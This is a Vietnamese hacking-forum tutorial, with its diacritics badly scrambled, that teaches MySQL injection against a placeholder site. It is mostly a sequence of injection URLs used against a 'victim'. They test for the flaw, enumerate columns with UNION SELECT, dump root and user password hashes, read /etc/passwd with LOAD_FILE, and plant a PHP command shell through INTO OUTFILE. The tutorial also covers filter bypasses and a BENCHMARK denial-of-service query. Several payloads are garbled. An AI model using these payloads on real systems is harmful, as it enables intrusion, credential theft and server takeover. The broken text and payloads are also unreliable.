
L i MySQL là m t l i r t là thông d ng và nguy hi m.Khác v i các l i khác MySQLỗ ộ ỗ ấ ụ ể ớ ỗ
b l i là cho ng i vi t mã gây ra hay b sai sótị ỗ ườ ế ị
L i MySQL đem l i nh ng l i ích nh th nào?ỗ ạ ữ ợ ư ế
Nó cho phép ng i s d ng có th khai thác d dàng vào các database.Nói rõ h n nóườ ử ụ ể ễ ơ
cho ta th y đ c nh ng thông s có liên quan đ n victim ch a l i.MySQL Inj có thấ ượ ữ ố ế ứ ỗ ể
phá h y t p tin hay cho phép các t p tin khác mà attacker chèn vàoủ ậ ậ
Bây gi chúng ta nhìn vào 1 s ví d v code phpờ ố ụ ề
[COLOR="red"]...
$ id = $ _GET [ 'id'];
...
mysql_query ( "UNION SELECT nick FROM users WHERE id =". );..... $ id
?> [/COLOR]
Chúng ta c n l u ý v ph ng th c l y đo n ma GET .Anh em hãy đ ý k v đo nầ ư ề ươ ứ ấ ạ ể ỹ ề ạ
mã php trên.Chúng ta có th thay đ i yêu c u truy v n d a vào GET.N u nó khôngở ể ổ ầ ấ ự ế
l c ph n [ 'id'] mà chúng ta truy v n vào d li u c a victim thì có nghĩa là nó b l iọ ầ ấ ữ ệ ủ ị ỗ
MySQL.
Làm sao mà bi t chính xác là nó b l i.Sau đ y là 1 ví d :ế ị ỗ ấ ụ
http://www.site.ru/index.php?page=1
V i 1 trang nh th ,đ ta bi t nó có b dính l i hay ko thi ta c n thêm vào 1 ký t nhớ ư ế ể ế ị ỗ ầ ự ư
d u 'ấ
+
http://www.site.ru/index.php?page=1'
Và khi nó b dính MySQL thì website s g i l i cho ta bi t v i 1 thông báo nh sau:ị ẽ ở ạ ế ớ ư
[COLOR="red"]+MySQL Error: mysql_query (.......) error expretion syntax ...[/COLOR]
Câu nói đây có nghĩa là có 1 truy v n đang b l i v c u trúc toán h c hay thở ấ ị ỗ ề ấ ọ ư
m c.Và 99% đây là l i source.ụ ỗ
Ngoài ra ta còn 1 ph ng các n a là ta dùng ph ng th c toán h c đ n gi n nh sau:ươ ữ ươ ứ ọ ơ ả ư
+
http://www.site.ru/index.php?page=2-1
Và nó tr v 1 thì 99% nó b dính mysql.ở ề ị
Khi ta bi t chính xác nó b l i thì ta s khai thác nh sau.Chúng ta c n g i 1 truy v nế ị ỗ ẽ ư ầ ở ấ
sql đ n victim nh ng chúng ta c n truy v n v i giá trĩ là null.Null đây là r ng khôngế ư ầ ấ ớ ở ỗ
có 1 giá tr xác th c.ị ự

Đây là
+
http://www.site.ru/index.php?page=-1 union + + + select null, null / *
or
http://www.site.ru/index.php?page=99999 union + + + select null, null / *
Chúng ta s s d ng l n l t các câu truy v n thông d ng nh :ẽ ử ụ ầ ượ ấ ụ ư
+union select null, null
union select null, null, null
union select null, null, null, null
L nh union đây chính là lênh k t n i các b ng l i v i nhau.Chúng ta c s d ng choệ ở ế ố ả ạ ớ ứ ử ụ
đ n khi bi t 9 xác có bao nhiêu b ng d li u n m trong databaseế ế ả ữ ệ ằ
+
http://www.site.ru/index.php?page=-1 union + + + select null, null, null, null, null, null /
*
Sau khi đã xác đ nh đ c b ng ta xét đ n nó có bao nhi u c t n m trong b ng.V i câuị ượ ả ế ệ ộ ằ ả ớ
l nh sau s giúp ta xác đ nh:ệ ẽ ị
+? id =- 1 + + by order +100 / *
Dĩ nhiên các c t không th nào quá 100 c t đ c.V i cách th c này ta có th nhanhộ ể ộ ượ ớ ứ ể
chóng bi t đ c bao nhiêu c t.Và có sai thì nó s báo l i.ế ượ ộ ẽ ổ
Sau khi đã bi t chính xác đ c có bao nhiêu c t thì ta s thay th các giá tr null mà h iế ượ ộ ẽ ế ị ồ
nãy ta truy v n b ng các con s 9 xác nh 1,2,3,..ấ ằ ố ư
+
http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5,6 / *
Sau đó ta s l y 1 s thông tin nh user database...Và ta c n bi t 9 xác nó n m c tẽ ấ ố ư ầ ế ằ ở ộ
nào m i truy v n và tìmớ ấ
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, USER (), 4,5,6 /*
http://www.site.ru/index.php?page=-1 + union + +1.2 select, VERSION (), 4,5,6 /*

http://www.site.ru/index.php?page=-1 + union + +1.2 select, DATABASE (), 4,5,6 / *
Sau khi có đ c các thông tin thì ta c n làm nh ng b c sau tùy vào ý thích c a m iượ ầ ữ ướ ủ ỗ
ng iườ
1-L y pass c a th ng root(Nó là quan tr ng 1 mà)ấ ủ ằ ọ
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6
mysql.user + from + / *
Và nó s cho ra pass là pass hash và chúng ta dùng các ch ng trình crack pass đ l yẽ ươ ể ấ
mã.Ví d nh ch ng trình password pro.L u ý ph ng th c l y pass b ng câu l nhụ ư ươ ư ươ ứ ấ ằ ệ
trên ko có nghĩa lúc nào cũng cho ra pass mà còn ph thu c vào th ng mysql.user cóụ ộ ằ
ch p nh n yêu c u c a ta hay ko.ấ ậ ầ ủ
2-Đ c các b ng khác có liên quan đ n th ng root:ọ ả ế ằ
Chúng ta có th đ c các b ng có liên quan nh :[COLOR="red"]spreadsheet-type users,ể ọ ả ư
reg_users, admins, accounts ...[/COLOR]
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, name, passwd, 4,5,6 + +
from users / *
3-Đ c t p tin ch trên server:ọ ậ ứ
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE ( '/ etc /
passwd'), 4,5,6 / *
N u chúng ta xác đ nh 9 xác t p tin ta c n đ c thì ph n LOAD_FILE s giúp ích cho taế ị ậ ầ ọ ầ ẽ
r t nhi u.ấ ề
4-Up shell và ddos:
Chúng ta c n nh n th y là chúng ta c n nên đ a con shell bên ngoài vào sao cho phùầ ậ ấ ầ ư ở
h p 1.Và th m c mà ta c n quan tâm và phù h p 1 chính là [COLOR="red"]"/ home /ợ ư ụ ầ ợ
site / public_html /"[/COLOR]
Code up shell:
+http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5, '<? php system ($
_GET [cmd]);>' + + + from mysql.user into outfile + + '/ home / site / public_html /
shell.php' / *

Vi c up shell là ph n quan tr ng 1 đ i v i l i MYSQL.Và 1 đi u quan tr ng ko kém làệ ầ ọ ố ớ ỗ ề ọ
chúng ta c n đ a thêm bi n hay tham s ,c th là s .Nó s giúp ta th c hi n đ c 1ầ ư ế ố ụ ể ố ẽ ự ệ ượ
s l nh b gi i h n trong mysql.ố ệ ị ớ ạ
[COLOR="Red"]Ví d :union select 1.2, user, pass, from 5,6 + + + users limit +5.3 / * [/ụ
i][/COLOR]Chúng s th l i 3 l n v i c t s 5ẽ ử ạ ầ ớ ộ ố
Đôi khi chúng ta g p ph i 1 s c ch l c hay mã hóa trong mysql.Chính vì v y đặ ả ố ơ ế ọ ậ ể
gi i quy t v n đ lo i b c ch trên ta c n 1 câu l nh ko kém ph n quan tr ngả ế ấ ề ạ ỏ ơ ế ầ ệ ầ ọ
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, AES_DECRYPT
(AES_ENCRYPT (USER (), 0x71), 0x71), 4,5,6 / *
1 đi u c n l u ý là khi b l c kovychku c a sql đ c b t thì chúng ta có th dùng đ nề ầ ư ộ ọ ủ ượ ậ ể ế
ph n LOAD_FILEầ
Ví d ta đ a vào LOAD_FILE ph n đ c th m c / etc / passwd thì chúng ta dùng đo nụ ư ầ ọ ư ụ ạ
code sau:
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE (char
(47101116,99,47112,97115115119100)), 4,5,6 / *
Đôi khi ta b th ng inektsiya gi i h n vi c s d ng các kho n không gian s d ng.Đị ằ ớ ạ ệ ử ụ ả ử ụ ể
xác l p l i ta dùng các l nh sau:ậ ạ ệ
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6
mysql.user + from + / *same
http://www.site.ru/index.php?page=-1/ ** / union / ** / select / ** / 1.2, user,
Ph n cu i là dos:Ch c câu l nh này m i ng i ai cũng hi u ha:ầ ố ắ ệ ọ ườ ể
http://www.site.ru/index.php?page=-1 + BENCHMARK (10000000, BENCHMARK
(10000000 md5 (current_date)))

